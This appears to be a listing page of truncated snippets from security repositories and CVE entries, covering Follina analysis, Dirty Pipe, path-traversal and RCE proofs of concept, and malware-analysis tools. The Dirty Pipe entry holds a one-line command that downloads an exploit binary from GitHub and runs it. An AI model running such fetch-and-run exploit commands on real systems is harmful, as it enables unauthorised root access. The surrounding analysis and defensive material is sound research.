Malware-Analysis-Follina-CVE-2022-30190

Malware-Analysis-Follina-CVE-2022-30190 静的マルウェア解析 – Follina エクスプロイト（CVE-2022-30190） 悪意のある Microsoft Word 文書の調査 実践的なマルウェア解析セッションを Kali Linux で行っている際に、sample.doc という疑わしいファイルに遭遇しました。実行せずにその正体と挙動を理解するため、体系的な静的解析を実施することにしました。 このドキュメントでは、私が取った正確な手順、行った観察、そして到達した結論について説明します。 すべての作業は、Kali Linux を実行する隔離され...

Exploit for Static Code Injection in N-Able N-Central

CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit Ove...

CVE-2025-20384

SPLUNK CVE-2025-20384 なぜか知らないけど、友達が送ってきたものを読んで、適当なJavaScriptコードを打ち始めた。 Log Injection/Forgery/Poisoning/Obfuscate type POC この記事をお読みください OWASP Log Injection TL;DR 静的ファイルを探し、それを渡してランダムなパラメータを追加する そこで、以下のように実行する。curl -k...

CVE-2022-0847-Dirty-Pipe

ワンライナーエクスプロイト CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

gud425.github.io

このリポジトリには README がありません。...

YAASA

YAASA YAASA Yet Another APK Static Analyzer is a framework for having fun with analyzing APKs. The project is using the tools below and is built on Django framework: APKTool: A tool for reverse engineering Android apk files AxmlParserPY: Python AxmlParser PlagueScanner: Open source multiple AV...

cve-2024-38821

cve-2024-38821 分析：https://www.deep-kondah.com/spring-webflux-static-resource-access-vulnerability-cve-2024-38821-explained/...

mkdocs

MkDocs Markdownによるプロジェクトドキュメント MkDocsは、プロジェクトドキュメントの構築に特化した、高速 でシンプル 、そしてとことん美しい 静的サイトジェネレーターです。ドキュメントのソースファイルはMarkdownで記述され、単一のYAML設定ファイルで設定されます。使いやすさを重視して設計されており、サードパーティ製のテーマ、プラグイン、Markdown拡張機能で拡張できます。 入門チュートリアルと完全なユーザーガイドについては、ドキュメントを参照してください。 機能 Markdownファイルから静的HTMLファイルをビルドします。...

CVE-2026-70410

Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Calcite Avatica. Plugin instantiation via AvaticaUtilsinstantiatePlugin and other methods initializes arbitrary classes via unrestricted calls to Class.forNameString which by default triggers...

EUVD-2026-84533

Use of Externally-Controlled Input to Select Classes or Code 'Unsafe Reflection' vulnerability in Apache Calcite Avatica. Plugin instantiation via AvaticaUtilsinstantiatePlugin and other methods initializes arbitrary classes via unrestricted calls to Class.forNameString which by default triggers...

CVE-2026-70410

Apache Calcite Avatica versions before 1.29.0 are vulnerable to an Unsafe Reflection vulnerability. The root cause is the use of externally-controlled input in methods such as AvaticaUtils#instantiatePlugin, which performs unrestricted calls to Class.forName(String). This allows for the initializ...

cve-2020-29007

CVEID : CVE-2020-29007 影響を受ける製品とバージョン : Mediawiki Score 0.3.0 までの全バージョン 問題の種類 : CWE-96: 静的に保存されたコードにおけるディレクティブの無害化の不適切（'静的コードインジェクション'） 概要 Score は、ユーザーが提供した Lilypond または ABC マークアップに基づいて楽譜を生成する Mediawiki 拡張機能です。 テスト中に、Lilypond マークアップに埋め込まれた Scheme コードを介したリモートコード実行に対して脆弱であることを確認しました。 Score...

CVE-2023-45182

CVE-2023-45182 IBM i Access Client Solutions 1.1.9.4 - 脆弱なパスワード暗号化 タイムライン ベンダーに脆弱性を報告: 22.09.2023 修正済みバージョン1.1.9.4のリリース: 08.12.2023 公開開示: 15.12.2023 説明 IBM i Access Client...

CVE-2026-8023

CVE-2026-8023 — Zephyr HTTP static-fs パストラバーサル PoC Zephyr の HTTP サーバー static-fs ハンドラー subsys/net/lib/http における認証前パストラバーサル。ワイルドカードリソースマッチング CONFIGHTTPSERVERRESOURCEWILDCARD=y を HTTPRESOURCETYPESTATICFS と組み合わせて使用する場合に影響します。HTTP/1.1 と HTTP/2 の両方に影響します。 GHSA: GHSA-hch3-53g6-jj3h 影響を受けるバージョン: = 4.0.0,...

Office-Malware-Forensics-Lab-REMnux-Static-Analysis

Office Malware Forensics Lab — REMnux Static Analysis Static analysis of two malicious Office files, done entirely inside an isolated REMnux VM. Nothing was ever executed — just inspected. Setup REMnux VM, no shared folders with the host Tools: sha256sum, file, unzip, and the oletools suite oleid...

Security Bulletin: Multiple vulnerabilities that affects IBM Db2 Genius Hub

Summary The following dependency packages are being used by IBM Db2 Genius Hub - node-fetch-3.1.1.tgz, Jinja2-3.0.3-py3-none-any.whl, dompurify-3.4.11.tgz, react-router-6.30.4.tgz, react-router-dom-6.30.4.tgz, brace-expansion-5.0.8.tgz, browserslist-4.26.2.tgz, baseline-browser-mapping-2.10.38.tg...

Mnemosyne

Mnemosyne My personal infosec memo Fun fact The name of this project comes from the Greek goddess of memory: Mnemosyne. Moreover and regarding our story, it is interesting to note that, it's the origin of the word memory. Usage Mnemosyne is publicly available on the sub-domain of the same name of...

PowerShellProfiler

PowerShellProfiler このプロジェクトのコードは https://github.com/pan-unit42/publictools/tree/master/powershellprofiler からのものです。 はじめに PowerShellProfiler.py は、PowerShell スクリプトを静的に解析するためのスクリプトです。コンテンツを難読化解除して正規化し、その後、行動指標としてプロファイリングします。これらの挙動はスコア化され、その合計によって PowerShell スクリプトの潜在的なリスクレベルが示されます。これは、PowerShell...

peafl64

概要 peafl64 は、Windows の x64 PE を対象とした静的インストルメンテーションツールです。 静的インストルメンテーションとは、実行可能ファイルを編集し、特定の場所にコードを追加する手法です。 このインストルメンテーションは、バイナリ内のすべての基本ブロックの先頭にコードを追加し、実行フローを AFL 互換の方法で記録します。 これにより、ソースコードにアクセスすることなく、ユーザーモード（WinAFL を使用）およびカーネルモード（kAFL を使用）でバイナリをファジングできます。 Windows...

Icedid-file-decryptor

IcedID Decryptor IcedID感染に関連するlicense.datファイルを静的に復号するスクリプトです。 このスクリプトは、アンパックされたIcedIDサンプルの.dataセクションも復号します。 注記: スクリプトは、PEファイルとlicense.datファイルのどちらが指定されたかを自動的に検出します。 PEファイルが指定された場合、スクリプトはそのファイルが事前にアンパックされていることを前提とします。 復号に成功すると、rawダンプがoutput.binに書き込まれます。 さらに、簡単な文字列検索が実行され、検出された文字列がファイルに書き込まれます。...